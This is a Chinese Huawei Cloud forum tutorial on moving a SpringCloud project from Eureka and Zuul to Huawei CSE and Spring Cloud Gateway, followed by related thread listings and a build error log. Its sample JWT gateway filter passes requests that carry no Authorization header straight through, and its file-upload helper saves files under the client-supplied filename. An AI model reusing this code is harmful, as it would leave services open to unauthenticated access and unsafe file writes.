    ### 一、SpringCloud项目架构介绍 #### 1.项目地址: [https://gitee.com/caichunfu/dtse-practice-microservice](https://gitee.com/caichunfu/dtse-practice-microservice) #### 2.项目技术栈如下: 1. 注册中心:Eureka 2. 网关:zuul 3. 声明式调用:feign 4. 存储:OBS、RDS for MySql ![](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20222/18/1645173154462340346.png) #### 3.项目结构: 1. dtse-commons:项目的公共工具类 2. dtse-eureka-server:eureka注册中心集群 3. dtse-feign-client:feign调用客户端 4. dtse-obs-storage:服务端,完成对obs的操作,包括上传和删除obs对象 5. dtse-system:消费端,实现用户登录、查询用户头像、更新用户头像(调用服务端请求) 6. dtse-zuul-getway:项目网关 ### 二、SpringCloud Huawei改造方案 #### 1.替换技术栈对比 | SpringCloud | SpringCloud-Huawei | | ------------------ | ------------------------------------------------------------ | | Eureka注册中心 | [华为云CSE微服务引擎](https://support.huaweicloud.com/devg-cse/cse_devg_0010.html) | | zuul网关 | SpringCloud Huawei Getway | | SpringCloud config | [CSE Config](https://support.huaweicloud.com/devg-cse/cse_devg_0022.html) | #### 2.SpringCloud Huawei技术文档 [https://github.com/huaweicloud/spring-cloud-huawei](https://github.com/huaweicloud/spring-cloud-huawei) #### 3.SpringCloud Huawei基础Demo [https://github.com/huaweicloud/spring-cloud-huawei-samples/tree/master/basic](https://github.com/huaweicloud/spring-cloud-huawei-samples/tree/master/basic) #### 4.SpringCloud Huawei版本对照 ![](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20222/18/1645174723327212698.png) #### 5.改造前设置 1. 下载本地CSE,下载地址:[https://support.huaweicloud.com/devg-cse/cse_devg_0036.html](https://support.huaweicloud.com/devg-cse/cse_devg_0036.html) 2. 将maven镜像改为华为镜像仓库: ``` <mirror> <id>huaweicloud</id> <mirrorOf>*</mirrorOf> <url>https://repo.huaweicloud.com/repository/maven/</url> </mirror> ``` 3. 项目版本选定 - SpringBoot:2.3.7.RELEASE - SpringCloud:Hoxton.SR9 - SpringCloud Huawei:1.8.0-Hoxton #### 6.改造方案 1. 移除微服务项目里所有的eureka依赖,删掉application.yml里的eureka的配置 ``` <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-eureka-server</artifactId> </dependency> ``` 2. 导入SpringCloud Huawei依赖 - 父工程里导入 ```xml <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-dependencies</artifactId> <version>${spring-cloud.version}</version> <type>pom</type> <scope>import</scope> </dependency> ``` - 子工程里导入 ```xml <dependency> <groupId>com.huaweicloud</groupId> <artifactId>spring-cloud-starter-huawei-service-engine</artifactId> </dependency> ``` 3. 添加bootstrap.yaml配置文件 ```yaml spring: application: name: #微服务名 cloud: servicecomb: discovery: enabled: true address: http://127.0.0.1:30100 appName: basic-application serviceName: ${spring.application.name} version: 0.0.1 healthCheckInterval: 30 config: serverAddr: http://127.0.0.1:30110 serverType: kie ``` 4. 解决启动中的报错 4.1. 需要编写IClientConfig配置类: ![](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20222/18/1645176166364496834.png) ![](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20222/18/1645176147975776732.png) 4.2. 配置类添加 ![](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20222/18/1645176207306600820.png) ![](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20222/18/1645176216784964848.png) 4.3. 微服务里无数据库配置: ![](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20222/18/1645176276185922690.png) 需要在启动类上加`@SpringBootApplication(exclude={DataSourceAutoConfiguration.class})` 4.4. feign调用报错 ![](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20222/18/1645176345773477730.png) SpringCloud Huawei当前版本对负载均衡支持不够友好,openfeign自带负载均衡,建议使用RestTemplate *以下解决方法来自本站的帖子[SpringCloud项目接入华为云微服务引擎CSE(一)](https://bbs.huaweicloud.com/forum/thread-178657-1-1.html)* 4.5. 修改openfeign调用为RestTemplate - 在dtse-system--usercontroller--UpdateIconImage路径对应的方法里注释掉openfeign调用代码 - 添加RestTemplate方式调用的代码 ```java //请求url String url = "http://xxxx:xxxx/xx/x"; ​ //构造请求头 HttpHeaders httpHeaders = new HttpHeaders(); HttpHeaders headers = httpHeaders; headers.setContentType(MediaType.MULTIPART_FORM_DATA); ​ //FileSystemResource将文件变成流以发送 File file = MultipartFileToFile.multipartFileToFile(multipartFile); FileSystemResource fileSystemResource = new FileSystemResource(file); ​ //构造请求体,使用LinkedMultiValueMap MultiValueMap<String, Object> resultMap = new LinkedMultiValueMap<>(); resultMap.add("file", fileSystemResource); resultMap.add("obsParamsJson", obsParamsJson); ​ //HttpEntity封装整个请求报文 HttpEntity<MultiValueMap<String, Object>> httpEntity = new HttpEntity<>(resultMap, headers); ​ //postForObject发送请求体 String objURL = restTemplate.postForObject(url, httpEntity, String.class); ``` **MultipartFile转File:** ```java import org.springframework.web.multipart.MultipartFile; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; ​ public class MultipartFileToFile { /** * MultipartFile 转 File * * @param file * @throws Exception */ public static File multipartFileToFile(MultipartFile file) throws Exception { File toFile = null; if (file.equals("") || file.getSize() <= 0) { file = null; } else { InputStream ins = null; ins = file.getInputStream(); toFile = new File(file.getOriginalFilename()); inputStreamToFile(ins, toFile); ins.close(); } return toFile; } //获取流文件 private static void inputStreamToFile(InputStream ins, File file) { try { OutputStream os = new FileOutputStream(file); int bytesRead = 0; byte[] buffer = new byte[8192]; while ((bytesRead = ins.read(buffer, 0, 8192)) != -1) { os.write(buffer, 0, bytesRead); } os.close(); ins.close(); } catch (Exception e) { e.printStackTrace(); } } /** * 删除本地临时文件 * @param file */ public static void delteTempFile(File file) { if (file != null) { File del = new File(file.toURI()); del.delete(); } } } ``` 4.6 网关改造 - 删除原项目zuul的依赖,添加springcloudgateway的依赖和springcloudhuawei提供的网关依赖 ```xml <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> </dependency> <dependency> <groupId>com.huaweicloud</groupId> <artifactId>spring-cloud-starter-huawei-service-engine-gateway</artifactId> </dependency> ``` - 添加网关配置文件(注意uri不要用lb地址,当前版本涉及负载均衡的均有问题,暂时用固定地址) ```yaml spring: main: allow-bean-definition-overriding: true cloud: gateway: # 路由(routes:路由,它由唯一标识(ID)、目标服务地址(uri)、一组断言(predicates)和一组过滤器组成(filters)。filters 不是必需参数。) routes: #路由标识(id:标识,具有唯一性) - id: dtse-system-route # 目标服务地址(uri:地址,请求转发后的地址) #uri: lb://dtse-system #不要用lb地址 uri: http://localhost:9090 filters: args: # 路由条件(predicates:断言,匹配 HTTP 请求内容) predicates: - Path=/** urifiler: login-uri: /login ``` - 定义全局过滤器实现鉴权 ```java @Component @Slf4j public class RouteConfiguration implements GlobalFilter, Ordered { ​ @Autowired JwtUtil jwtUtil; @Autowired URIFilter uriFilter; ​ @Override public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) { ​ ServerHttpRequest request = exchange.getRequest(); RequestPath path = request.getPath(); ​ // 2、登陆请求放行 if(path.value().contains(uriFilter.getLoginuri().get(0))){ System.out.println("登陆请求路经:request.getPath() = " + path.value()); log.info("登录"); return chain.filter(exchange); } //3、非登陆请求用户权限校验 String authorization = request.getHeaders().getFirst("Authorization"); if (!StringUtils.isEmpty((authorization))) { System.out.println("非登陆请求路径:request.getPath() = " + path.value()); //2、获取请求头中Token信息 String token = authorization.replace("Bearer", ""); ​ //3、Token校验 Claims claims = jwtUtil.parseToken(token) ; ​ //4、获取用户id,并将用户id传送到后端 if (claims == null) { try { throw new Exception(String.valueOf(ResultCode.UNAUTHENTICATED)); } catch (Exception e) { e.printStackTrace(); } return null; } String id = claims.getId(); ​ //5、添加用户请求头 request.mutate().header("userId",id).build(); return chain.filter(exchange); } ​ return chain.filter(exchange); } ​ @Override public int getOrder() { return 0; } } ``` - urifiler配置类 ```java @ConfigurationProperties(prefix = "urifiler", ignoreUnknownFields = false) @Data @Component public class URIFilter { private List<String> loginuri; } ``` 4.7 配置中心 在浏览器输入http://127.0.0.1:30103/,进入cse可视化界面,选择配置列表,创建配置项 ![](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20222/21/1645427195901258209.png)
  • [页面编排] ADC或DGE平台提供通用读取Excel的微服务API吗? 有的话,需要在pom文件中引用平台那个依赖?最好能提供下使用案例,多
    【功能模块】ADC或DGE平台提供通用读取Excel的微服务API吗? 有的话,需要在pom文件中引用平台那个依赖?最好能提供下使用案例,多谢。【操作步骤&问题现象】1、2、【截图信息】【日志信息】(可选,上传日志内容或者附件)
  • [问题求助] 华为HCIE上机实验手册的微服务demon编译不过,具体报错如下:
    log4j:WARN No appenders could be found for logger (org.springframework.core.io.support.PathMatchingResourcePatternResolver).log4j:WARN Please initialize the log4j system properly.log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.2022-02-05 22:18:57,267 [ERROR] Can not output merged.log4j.properties,because can not write to directory of file file:/C:/Users/n00511724/.m2/repository/org/apache/servicecomb/transport-rest-vertx/1.2.0.B006/transport-rest-vertx-1.2.0.B006.jar!/config/base/log4j.properties org.apache.servicecomb.foundation.common.utils.Log4jUtils.outputFile(Log4jUtils.java:104)2022-02-05 22:18:57,285 [INFO] Found main class "helloworld.demo.provider.ProviderMain". org.apache.servicecomb.foundation.common.utils.JvmUtils.findMainClass(JvmUtils.java:94)2022-02-05 22:18:57,285 [INFO] Found main class "helloworld.demo.provider.ProviderMain" by stackTrace. org.apache.servicecomb.foundation.common.utils.JvmUtils.findMainClassByStackTrace(JvmUtils.java:63)2022-02-05 22:18:57,285 [INFO] Scb scan package list: org.apache.servicecomb,helloworld.demo.provider org.apache.servicecomb.foundation.common.utils.BeanUtils.prepareServiceCombScanPackage(BeanUtils.java:93)2022-02-05 22:18:57,303 [INFO] Refreshing org.springframework.context.support.ClassPathXmlApplicationContext@50f8360d: startup date [Sat Feb 05 22:18:57 CST 2022]; root of context hierarchy org.springframework.context.support.AbstractApplicationContext.prepareRefresh(AbstractApplicationContext.java:583)2022-02-05 22:18:57,371 [INFO] Loading XML bean definitions from URL [jar:file:/C:/Users/n00511724/.m2/repository/org/apache/servicecomb/foundation-config/1.2.0.B006/foundation-config-1.2.0.B006.jar!/META-INF/spring/cse.bean.xml] org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:317)2022-02-05 22:18:57,488 [INFO] Loading XML bean definitions from URL [jar:file:/C:/Users/n00511724/.m2/repository/org/apache/servicecomb/foundation-vertx/1.2.0.B006/foundation-vertx-1.2.0.B006.jar!/META-INF/spring/cse.bean.xml] org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:317)2022-02-05 22:18:57,521 [INFO] Loading XML bean definitions from URL [jar:file:/C:/Users/n00511724/.m2/repository/org/apache/servicecomb/java-chassis-core/1.2.0.B006/java-chassis-core-1.2.0.B006.jar!/META-INF/spring/cse.bean.xml] org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:317)2022-02-05 22:18:58,137 [INFO] Loading XML bean definitions from URL [jar:file:/C:/Users/n00511724/.m2/repository/org/apache/servicecomb/handler-bizkeeper/1.2.0.B006/handler-bizkeeper-1.2.0.B006.jar!/META-INF/spring/cse.bean.xml] org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:317)2022-02-05 22:18:58,142 [INFO] Loading XML bean definitions from URL [jar:file:/C:/Users/n00511724/.m2/repository/org/apache/servicecomb/handler-loadbalance/1.2.0.B006/handler-loadbalance-1.2.0.B006.jar!/META-INF/spring/cse.bean.xml] org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:317)2022-02-05 22:18:58,142 [INFO] Loading XML bean definitions from URL [jar:file:/C:/Users/n00511724/.m2/repository/com/huawei/paas/cse/cse-handler-cloud-extension/2.3.69/cse-handler-cloud-extension-2.3.69.jar!/META-INF/spring/services.bean.xml] org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:317)2022-02-05 22:18:58,378 [INFO] Environment received, will get configurations from [org.springframework.core.env.StandardEnvironment@1059080630]. org.apache.servicecomb.config.ConfigurationSpringInitializer.setEnvironment(ConfigurationSpringInitializer.java:80)2022-02-05 22:18:58,393 [WARN] No URLs will be polled as dynamic configuration sources. com.netflix.config.sources.URLConfigurationSource.<init>(URLConfigurationSource.java:121)2022-02-05 22:18:58,393 [INFO] To enable URLs as dynamic configuration sources, define System property archaius.configurationSource.additionalUrls or make config.properties available on classpath. com.netflix.config.sources.URLConfigurationSource.<init>(URLConfigurationSource.java:122)2022-02-05 22:18:58,456 [INFO] create local config: org.apache.servicecomb.config.ConfigUtil.createLocalConfig(ConfigUtil.java:118)2022-02-05 22:18:58,456 [INFO]  jar:file:/C:/Users/n00511724/.m2/repository/org/apache/servicecomb/java-chassis-core/1.2.0.B006/java-chassis-core-1.2.0.B006.jar!/microservice.yaml. org.apache.servicecomb.config.ConfigUtil.createLocalConfig(ConfigUtil.java:120)2022-02-05 22:18:58,456 [INFO]  jar:file:/C:/Users/n00511724/.m2/repository/com/huawei/paas/cse/cse-solution-service-engine/2.3.69/cse-solution-service-engine-2.3.69.jar!/microservice.yaml. org.apache.servicecomb.config.ConfigUtil.createLocalConfig(ConfigUtil.java:120)2022-02-05 22:18:58,456 [INFO]  file:/D:/hcip/Demo-for-microservice/target/classes/microservice.yaml. org.apache.servicecomb.config.ConfigUtil.createLocalConfig(ConfigUtil.java:120)Exception in thread "main" org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'org.apache.servicecomb.config.ConfigurationSpringInitializer#0' defined in URL [jar:file:/C:/Users/n00511724/.m2/repository/org/apache/servicecomb/foundation-config/1.2.0.B006/foundation-config-1.2.0.B006.jar!/META-INF/spring/cse.bean.xml]: Initialization of bean failed; nested exception is java.lang.RuntimeException: Unable to load Properties2022-02-05 22:18:58,471 [WARN] Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'org.apache.servicecomb.config.ConfigurationSpringInitializer#0' defined in URL [jar:file:/C:/Users/n00511724/.m2/repository/org/apache/servicecomb/foundation-config/1.2.0.B006/foundation-config-1.2.0.B006.jar!/META-INF/spring/cse.bean.xml]: Initialization of bean failed; nested exception is java.lang.RuntimeException: Unable to load Properties org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:551)    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:562)    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:481)    at org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractBeanFactory.java:312)    at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:230)    at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:308)    at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:202)    at org.springframework.context.support.PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors(PostProcessorRegistrationDelegate.java:151)    at org.springframework.context.support.AbstractApplicationContext.invokeBeanFactoryPostProcessors(AbstractApplicationContext.java:687)    at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:525)    at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:139)    at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:93)    at org.apache.servicecomb.foundation.common.utils.BeanUtils.init(BeanUtils.java:54)    at org.apache.servicecomb.foundation.common.utils.BeanUtils.init(BeanUtils.java:47)    at helloworld.demo.provider.ProviderMain.main(ProviderMain.java:9)Caused by: java.lang.RuntimeException: Unable to load Properties    at com.netflix.config.AbstractPollingScheduler.initialLoad(AbstractPollingScheduler.java:87)    at com.netflix.config.AbstractPollingScheduler.startPolling(AbstractPollingScheduler.java:200)    at com.netflix.config.DynamicConfiguration.startPolling(DynamicConfiguration.java:60)    at com.netflix.config.DynamicConfiguration.<init>(DynamicConfiguration.java:42)    at org.apache.servicecomb.config.ConfigUtil.createLocalConfig(ConfigUtil.java:146)    at org.apache.servicecomb.config.ConfigUtil.createLocalConfig(ConfigUtil.java:123)    at org.apache.servicecomb.config.ConfigUtil.installDynamicConfig(ConfigUtil.java:252)    at org.apache.servicecomb.config.ConfigurationSpringInitializer.setEnvironment(ConfigurationSpringInitializer.java:86)    at org.springframework.context.support.ApplicationContextAwareProcessor.invokeAwareInterfaces(ApplicationContextAwareProcessor.java:106)    at org.springframework.context.support.ApplicationContextAwareProcessor.postProcessBeforeInitialization(ApplicationContextAwareProcessor.java:97)    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyBeanPostProcessorsBeforeInitialization(AbstractAutowireCapableBeanFactory.java:407)    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1623)    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:553)    ... 13 moreCaused by: java.lang.NullPointerException: Value for property servicecomb.service.registry is null    at com.netflix.config.ConcurrentMapConfiguration.addProperty(ConcurrentMapConfiguration.java:178)    at com.netflix.config.DynamicPropertyUpdater.addOrChangeProperty(DynamicPropertyUpdater.java:124)    at com.netflix.config.AbstractPollingScheduler.populateProperties(AbstractPollingScheduler.java:111)    at com.netflix.config.AbstractPollingScheduler.initialLoad(AbstractPollingScheduler.java:85)    ... 25 more
  • [API集成编排] 基于commonsdk2.0的微服务启动后,报下面的错误,这是哪里的配置不对吗?
    基于commonsdk2.0的微服务启动后,报下面的错误,这是哪里的配置不对吗?
  • [技术交流] SpringCloud项目接入华为云微服务引擎CSE(二)
    目录1.    业务架构说明2.    开发环境3.    本地CSE开发环境搭建    3.1.    下载本地CSE    3.2.    解压,双击cse.exe    3.3.    登录CSE控制台4.    接入前准备    4.1.    下载实验工程源码,使用IDEA打开    4.2.    IDE 配置    4.3.    Maven配置5.    服务端CSE接入    5.1.    主pom修改    5.2.    dtse-feign-client接入    5.3.    dtse-obs-storage接入    5.4.    dtse_system接入    5.5.    dtse-zuuL-gateway网关接入6.    前端服务接入7.    其他接入中问题记录    1. 业务架构说明    项目Gitee地址     后端   https://gitee.com/caichunfu/dtse-practice-microservice     前端   https://gitee.com/HuaweiCloudDeveloper/dtse-practice-frontEnd/tree/devCSE改造前:    • 微服务包含4个微服务模块:zuul-gateway模块、Eureka注册中心、dtse-system模块、obs-storage模块;其中dtse-system模块、obs-storage模块是业务模块。    • 用户发送请求,微服务网关(zuul-gateway) 过滤器根据请求URI,路由和负载均衡请求到不同服务;同时利用JWT进行token校验请求的合法性。    • Eureka注册中心管理zuul-gateway、dtse-system、obs-storage微服务状态;    • dtse-system与obs-storage之间通过feign进行内部接口调用改造技术路径    • 引入使用spring-cloud-huawei    • 使用华为云CSE服务替换Eureka注册中心的功能    • 使用Spring Cloud Gateway替换zuul网关基线版本选择    查看 spring-cloud-huawei官网地址:    https://github.com/huaweicloud/spring-cloud-huawei     通过实践master分支与openFeign存在兼容问题,所以本次实践以Hoxton为基线版本,Hoxten与openFeign不存在兼容性问题    由于Spring Cloud Huawei与zuul调试中发现有兼容问题,所以将网关替换成Spring Cloud Gateway2. 开发环境JDKOpenjdk 1.8.0_312Maven3.6.3IDEA2021.2.2CSELocal-CSE-2.1.3-windows-amd64.zipspring-boot2.3.5.RELEASEspring-cloudHoxton.SR9spring-cloud-huawei1.8.0-Hoxton3. 本地CSE开发环境搭建3.1. 下载本地CSE    https://cse-bucket.obs.cn-north-1.myhuaweicloud.com/LocalCSE/Local-CSE-2.1.3-windows-amd64.zip 3.2. 解压,双击cse.exe3.3. 登录CSE控制台    http://127.0.0.1:30103 4. 接入前准备4.1. 下载实验工程源码,使用IDEA打开    源码地址 https://gitee.com/caichunfu/dtse-practice-microservice 4.2. IDE 配置4.3. Maven配置    使用华为云Maven5. 服务端CSE接入改造5.1. 主pom改造5.1.1. 主pom引入依赖5.1.2. 使用CSE做为注册中心,删除相关模块和依赖    a、删除eureka-server    b、引入华为spring cloud` <properties> <java.version>1.8</java.version> <spring-boot.version>2.3.5.RELEASE</spring-boot.version> <spring-cloud.version>Hoxton.SR9</spring-cloud.version> <spring-cloud-huawei.version>1.8.0-Hoxton</spring-cloud-huawei.version> </properties>`<!-- configure user spring cloud / spring boot versions --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-dependencies</artifactId> <version>${spring-boot.version}</version> <type>pom</type> <scope>import</scope> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-dependencies</artifactId> <version>${spring-cloud.version}</version> <type>pom</type> <scope>import</scope> </dependency> <!-- configure spring cloud huawei version --> <dependency> <groupId>com.huaweicloud</groupId> <artifactId>spring-cloud-huawei-bom</artifactId> <version>${spring-cloud-huawei.version}</version> <type>pom</type> <scope>import</scope> </dependency>5.2. dtse-feign-client接入5.2.1. 引入openfeign版本<dependency> <groupId>io.github.openfeign.form</groupId> <artifactId>feign-form-spring</artifactId> <version>3.8.0</version> </dependency> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-openfeign-core</artifactId> <version>3.0.3</version> </dependency>5.3. dtse-obs-storage接入5.3.1. Pom文件处理5.3.1.1. 删除zuul依赖    删除spring-cloud-starter-netflix-zuul,增加spring-cloud-starter-netflix-ribbon <!--wmh add--> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-ribbon</artifactId> <version>2.2.0.RELEASE</version> <scope>compile</scope> <exclusions> <exclusion> <artifactId>ribbon-transport</artifactId> <groupId>com.netflix.ribbon</groupId> </exclusion> <exclusion> <artifactId>rxnetty</artifactId> <groupId>io.reactivex</groupId> </exclusion> </exclusions> <optional>true</optional> </dependency> <!-- wmh delete <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-zuul</artifactId> </dependency> -->5.3.2. 引入CSE配置5.3.3. 处理com.netflix.client.config.IClientConfig‘ that could not be found问题    出现这种问题是因为启动类找不到(扫描)其他类的路径,处理方法有多种,我这边使用的是方法二    方法一:把启动类放在其他类文件包的同一级,而不要放在上一级    方法二:在启动类的标签中加入启动扫描的路径如下:    方法三: new个IClientConfig类,不过需要初始化,不然会出现空指针5.3.3.1. 方法二指定扫描路径:    SpringBootApplication指定扫描路径@SpringBootApplication(scanBasePackages = {"com.huaweicloud.controller","com.huaweicloud.service","com.huaweicloud.commons","com.huaweicloud.persistent"}) @EnableFeignClients @EnableDiscoveryClient public class OBSStorageMain { public static void main(String[] args) { SpringApplication.run(OBSStorageMain.class, args); } }5.3.3.2. 方法三增加config类:    IClientConfig 类,重点来了,就是这个类,如果不自己定义(openFeign 是可以自定义这个类的,然后自己初始化),那么就千万不要自己去创建一个 bean 出来,然后自己加上注解定义成配置类如下:@Configuration public class IClientConfig { @Bean public DefaultClientConfigImpl iClientConfig(){ return new DefaultClientConfigImpl(); } }    这玩意千万不要在程序里自己创建出来,可能很多初学者不是很懂,一开始有配置了这个,结果又只是单纯的 return 了一个没有任何属性的 DefaultClientConfigImpl 对象,然后 openFeign 就会使用你创建的这个对象,结果去初始化的时候,就会在源码里面报空指针异常,把这玩意去掉,基本就可以了,如果要自己定义,那记得把里面该有的属性都要初始化值。5.4. Dtse_system接入5.4.1. Pom文件处理    删除eureka client,引入华为service engine <!-- <dependency>--> <!-- <groupId>org.springframework.cloud</groupId>--> <!-- <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>--> <!-- </dependency>--> <dependency> <groupId>com.huaweicloud</groupId> <artifactId>spring-cloud-starter-huawei-service-engine</artifactId> </dependency>删除netflix-hystrix <!-- <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-hystrix</artifactId> </dependency>-->5.4.2. 引入CSE配置5.4.3. 处理com.netflix.client.config.IClientConfig‘ that could not be found问题package com.huaweicloud; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cloud.openfeign.EnableFeignClients; @SpringBootApplication(scanBasePackages = {"com.huaweicloud.controller","com.huaweicloud.commons","com.huaweicloud.service","com.huaweicloud.persistent"}) @EnableFeignClients //开启feign客户端调用支持 public class SystemMain { public static void main(String[] args) { SpringApplication.run(SystemMain.class, args); } }5.5. Dtse-zuuL-gateway网关接入    使用spring cloud huawei与zuul有兼容性问题,所以切换到Spring Cloud Gateway5.5.1. Pom文件处理    spring-boot-starter-web排除spring-webmvc包,删除spring-cloud-starter-netflix-zuul包 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <exclusion> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> </exclusion> </exclusions> </dependency>    删除eureka-client包 <!-- <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId> </dependency>-->    引入spring-cloud-starter-gateway和huawei-service-engine-gateway <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> </dependency> <dependency> <groupId>com.huaweicloud</groupId> <artifactId>spring-cloud-starter-huawei-service-engine-gateway</artifactId> </dependency>5.5.2. 引入CSE配置    修改网关配置5.5.3. 修改网关全局过滤器package com.huaweicloud.filter; import com.huaweicloud.commons.outhUtils.JwtUtil; import com.huaweicloud.commons.response.ResultCode; import com.huaweicloud.config.URIFilter; import io.jsonwebtoken.Claims; import org.apache.servicecomb.foundation.common.utils.JsonUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.cloud.gateway.filter.GatewayFilterChain; import org.springframework.cloud.gateway.filter.GlobalFilter; import org.springframework.core.Ordered; import org.springframework.core.annotation.Order; import org.springframework.http.server.RequestPath; import org.springframework.http.server.reactive.ServerHttpRequest; import org.springframework.stereotype.Component; import org.springframework.util.StringUtils; import org.springframework.web.server.ServerWebExchange; import reactor.core.publisher.Mono; import java.lang.annotation.Annotation; @Component public class RouteConfiguration implements GlobalFilter, Ordered { @Autowired JwtUtil jwtUtil; @Autowired URIFilter uriFilter; private String writeJson(Object o) { try { return JsonUtils.writeValueAsString(o); } catch (Exception ee) { ee.printStackTrace(); } return null; } @Override public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) { System.out.println("access filter......"); ServerHttpRequest request = exchange.getRequest(); RequestPath path = request.getPath(); System.out.println("收到请求路经:request.getPath() = " + path.value()); // 2、登陆请求放行 if(path.value().contains(uriFilter.getLoginuri().get(0))){ System.out.println("登陆请求路经:request.getPath() = " + path.value()); return chain.filter(exchange); } //3、非登陆请求用户权限校验 String authorization = request.getHeaders().getFirst("Authorization"); if (!StringUtils.isEmpty((authorization))) { System.out.println("非登陆请求路径:request.getPath() = " + path.value()); //2、获取请求头中Token信息 String token = authorization.replace("Bearer", ""); //3、Token校验 Claims claims = jwtUtil.parseToken(token) ; //4、获取用户id,并将用户id传送到后端 if (claims == null) { try { throw new Exception(String.valueOf(ResultCode.UNAUTHENTICATED)); } catch (Exception e) { e.printStackTrace(); } return null; } String id = claims.getId(); //5、添加用户请求头 request.mutate().header("userId",id).build(); return chain.filter(exchange); } return chain.filter(exchange); } @Override public int getOrder() { return 0; } }5.5.4. 处理com.netflix.client.config.IClientConfig‘ that could not be found问题package com.huaweicloud; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; import org.springframework.cloud.client.discovery.EnableDiscoveryClient; @SpringBootApplication(exclude = {DataSourceAutoConfiguration.class},scanBasePackages = {"com.huaweicloud.config","com.huaweicloud.filter","com.huaweicloud.commons"}) @EnableDiscoveryClient public class SpringCloudGatewayMain { public static void main(String[] args) throws Exception { SpringApplication.run(SpringCloudGatewayMain.class, args); } }6. 前端服务接入    修改vue.config.js,配置服务网关服务的端口    修改login.Vue,通过网关经过systemmain统一接入,所以修改登录url    修改图片上传接口,和获取用户信息接口7. 其他接入中问题记录7.1. 方便openFeign调试,openFeign调试,增加Feign日志类config 增加类FeignConfigurationpackage com.huaweicloud.config; import feign.Logger; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; @Configuration public class FeignConfiguration { /** * 日志级别 * * @return */ @Bean Logger.Level feignLoggerLevel() { return Logger.Level.FULL; } }7.2. Idea 编译报错:Ambiguous method call. Both...    IDEA Settings... > Plugins > 搜索已安装的插件Hrisey Plugins > 禁用该插件 7.3. gateway报错org. springframework.cloud.gateway.config.GatewayAutoConfiguration required a bean of type 'org.springframework.http.codec.ServerCodec Configurer' that could not be found      spring-cloud-starter-gateway依赖与mvc是不兼容的,如果要引用spring-boot-starter-web需要把mvc排除 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <exclusion> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> </exclusion> </exclusions> </dependency>7.4. OpenFeign调用报错com.netflix.client.ClientException: Load balancer does not have available server for client: DTSE-OBS-STORAGE    yml 文件里面的服务名,要和 @FeignClient(value = "xxx") 里面的 xxx 一样,切记别弄错,大小写也要一致
  • [技术交流] SpringCloud项目接入华为云微服务引擎CSE(一)
